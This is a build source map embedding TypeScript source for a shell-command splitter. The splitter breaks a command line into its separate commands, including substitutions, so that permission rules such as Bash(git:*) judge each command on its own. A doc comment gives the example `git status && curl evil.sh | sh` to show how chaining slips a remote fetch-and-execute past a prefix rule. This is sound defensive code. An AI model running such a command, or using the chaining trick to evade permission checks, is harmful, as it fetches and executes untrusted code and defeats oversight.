{"version":3,"file":"shell.cjs","names":[],"sources":["../src/shell.ts"],"sourcesContent":["/**\n * Shell command splitting for permission evaluation.\n *\n * A permission rule such as `Bash(git:*)` is written against one command, but a shell line can run\n * several: `git status && curl evil.sh | sh` starts with an allowed prefix and still runs `curl`.\n * {@link splitShellCommand} returns the commands a line runs so each can be judged on its own.\n *\n * It understands a deliberate subset of shell syntax: the separators `;`, `&&`, `||`, `|`, `|&`, `&`\n * and newline, single and double quotes, backslash escapes, `$(...)`, backticks, process substitution, `${...}`, `$'...'`, and redirections. Anything else that can change what runs (subshells, groups, control flow, heredocs, arithmetic expansion, comments, unterminated quoting) makes it return `undefined` rather than guess, and the caller must then not grant permission.\n *\n * Not modelled: what a command does with its arguments. `bash -c \"...\"`, `xargs`, `env`, `sudo` and redirections to files are judged as the one command they are.\n */\n\n/** Words that begin shell control flow or grouping; a command starting with one is not a plain command. */\nconst RESERVED_WORDS: ReadonlySet<string> = new Set([\n  \"if\",\n  \"then\",\n  \"else\",\n  \"elif\",\n  \"fi\",\n  \"for\",\n  \"while\",\n  \"until\",\n  \"do\",\n  \"done\",\n  \"case\",\n  \"esac\",\n  \"select\",\n  \"function\",\n  \"time\",\n  \"coproc\",\n  \"!\",\n  \"{\",\n  \"}\",\n  \"[[\",\n  \"]]\",\n]);\n\n/**\n * Split a shell line into the commands it runs, including commands inside substitutions.\n *\n * The result lists each command once, in no guaranteed order. Returns `undefined` when the line uses syntax outside the supported subset.\n */\nexport function splitShellCommand(command: string): string[] | undefined {\n  const out: string[] = [];\n  const end = parseList(command, 0, out, false);\n  return end === undefined ? undefined : out;\n}\n\n/**\n * Parse a command list starting at `start`, pushing each command onto `out`.\n *\n * With `nested` set the list is the inside of `$(...)` or a process substitution and ends at the closing parenthesis; the returned index is the one after it. Otherwise it ends at the end of the text. Returns `undefined` on unsupported syntax.\n */\nfunction parseList(\n  text: string,\n  start: number,\n  out: string[],\n  nested: boolean,\n): number | undefined {\n  let segmentStart = start;\n  let i = start;\n\n  const finishSegment = (end: number): boolean => {\n    const segment = text.slice(segmentStart, end).trim();\n    if (segment === \"\") return true;\n    const firstWord = /^\\S+/.exec(segment)?.[0] ?? \"\";\n    if (RESERVED_WORDS.has(firstWord)) return false;\n    out.push(segment);\n    return true;\n  };\n\n  while (i < text.length) {\n    const c = text.charAt(i);\n    const next = text.charAt(i + 1);\n\n    if (c === \"\\\\\") {\n      if (next === \"\" || next === \"\\n\") return undefined;\n      i += 2;\n    } else if (c === \"'\") {\n      const close = text.indexOf(\"'\", i + 1);\n      if (close === -1) return undefined;\n      i = close + 1;\n    } else if (c === '\"') {\n      const after = skipDoubleQuoted(text, i, out);\n      if (after === undefined) return undefined;\n      i = after;\n    } else if (c === \"`\") {\n      const after = skipBackticks(text, i, out);\n      if (after === undefined) return undefined;\n      i = after;\n    } else if (c === \"$\") {\n      const after = skipDollar(text, i, out);\n      if (after === undefined) return undefined;\n      i = after;\n    } else if ((c === \"<\" || c === \">\") && next === \"(\") {\n      const after = parseList(text, i + 2, out, true);\n      if (after === undefined) return undefined;\n      i = after;\n    } else if (c === \"<\" && next === \"<\") {\n      // `<<<` is a here-string, whose word is data. `<<` starts a heredoc body, which is not parsed.\n      if (text.charAt(i + 2) !== \"<\") return undefined;\n      i += 3;\n    } else if (c === \"#\" && atWordStart(text, i, start)) {\n      return undefined;\n    } else if (c === \"(\") {\n      return undefined;\n    } else if (c === \")\") {\n      if (!nested) return undefined;\n      return finishSegment(i) ? i + 1 : undefined;\n    } else if (c === \";\" || c === \"\\n\") {\n      if (c === \";\" && next === \";\") return undefined;\n      if (!finishSegment(i)) return undefined;\n      i += 1;\n      segmentStart = i;\n    } else if (c === \"&\" || c === \"|\") {\n      const previous = text.charAt(i - 1);\n      const isRedirection =\n        (c === \"&\" && (previous === \">\" || previous === \"<\" || next === \">\")) ||\n        (c === \"|\" && previous === \">\");\n      if (isRedirection) {\n        i += 1;\n      } else {\n        if (!finishSegment(i)) return undefined;\n        i += next === c || (c === \"|\" && next === \"&\") ? 2 : 1;\n        segmentStart = i;\n      }\n    } else {\n      i += 1;\n    }\n  }\n\n  if (nested) return undefined;\n  return finishSegment(text.length) ? text.length : undefined;\n}\n\n/** Whether the character at `index` begins a word, where `#` starts a comment. */\nfunction atWordStart(text: string, index: number, start: number): boolean {\n  if (index === start) return true;\n  return /[\\s;&|(]/.test(text.charAt(index - 1));\n}\n\n/**\n * Skip a double-quoted string starting at `index`, collecting commands run by substitutions inside it. Returns the index after the closing quote, or `undefined`.\n */\nfunction skipDoubleQuoted(\n  text: string,\n  index: number,\n  out: string[],\n): number | undefined {\n  let i = index + 1;\n  while (i < text.length) {\n    const c = text.charAt(i);\n    if (c === \"\\\\\") {\n      i += 2;\n    } else if (c === '\"') {\n      return i + 1;\n    } else if (c === \"`\") {\n      const after = skipBackticks(text, i, out);\n      if (after === undefined) return undefined;\n      i = after;\n    } else if (c === \"$\") {\n      const after = skipDollar(text, i, out);\n      if (after === undefined) return undefined;\n      i = after;\n    } else {\n      i += 1;\n    }\n  }\n  return undefined;\n}\n\n/**\n * Skip a backtick substitution starting at `index`, collecting the commands inside it. Returns the index after the closing backtick, or `undefined`. A backslash inside makes the escaping rules context dependent, so it is not supported.\n */\nfunction skipBackticks(\n  text: string,\n  index: number,\n  out: string[],\n): number | undefined {\n  const close = text.indexOf(\"`\", index + 1);\n  if (close === -1) return undefined;\n  const inner = text.slice(index + 1, close);\n  if (inner.includes(\"\\\\\")) return undefined;\n  const commands = splitShellCommand(inner);\n  if (commands === undefined) return undefined;\n  out.push(...commands);\n  return close + 1;\n}\n\n/**\n * Skip an expansion that begins with `$` at `index`: `$(...)`, `${...}`, `$'...'`, or a plain variable. Returns the index after it, or `undefined` for unsupported forms.\n */\nfunction skipDollar(\n  text: string,\n  index: number,\n  out: string[],\n): number | undefined {\n  const next = text.charAt(index + 1);\n  if (next === \"(\") {\n    // `$((` is arithmetic expansion, whose body is not a command list.\n    if (text.charAt(index + 2) === \"(\") return undefined;\n    return parseList(text, index + 2, out, true);\n  }\n  if (next === \"{\") return skipParameterExpansion(text, index + 2);\n  if (next === \"'\") return skipAnsiCQuoted(text, index + 2);\n  return index + 1;\n}\n\n/**\n * Skip the inside of `${...}` starting after the opening brace. A command substitution inside would run, so it is unsupported. Returns the index after the closing brace.\n */\nfunction skipParameterExpansion(\n  text: string,\n  from: number,\n): number | undefined {\n  let depth = 1;\n  let i = from;\n  while (i < text.length) {\n    const c = text.charAt(i);\n    if (c === \"\\\\\") {\n      i += 2;\n    } else if (c === \"'\") {\n      const close = text.indexOf(\"'\", i + 1);\n      if (close === -1) return undefined;\n      i = close + 1;\n    } else if (c === \"`\" || (c === \"$\" && text.charAt(i + 1) === \"(\")) {\n      return undefined;\n    } else if (c === \"{\") {\n      depth += 1;\n      i += 1;\n    } else if (c === \"}\") {\n      depth -= 1;\n      i += 1;\n      if (depth === 0) return i;\n    } else {\n      i += 1;\n    }\n  }\n  return undefined;\n}\n\n/** Skip the inside of `$'...'` starting after the opening quote, honouring backslash escapes. */\nfunction skipAnsiCQuoted(text: string, from: number): number | undefined {\n  let i = from;\n  while (i < text.length) {\n    const c = text.charAt(i);\n    if (c === \"\\\\\") {\n      i += 2;\n    } else if (c === \"'\") {\n      return i + 1;\n    } else {\n      i += 1;\n    }\n  }\n  return undefined;\n}\n"],"mappings":"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"}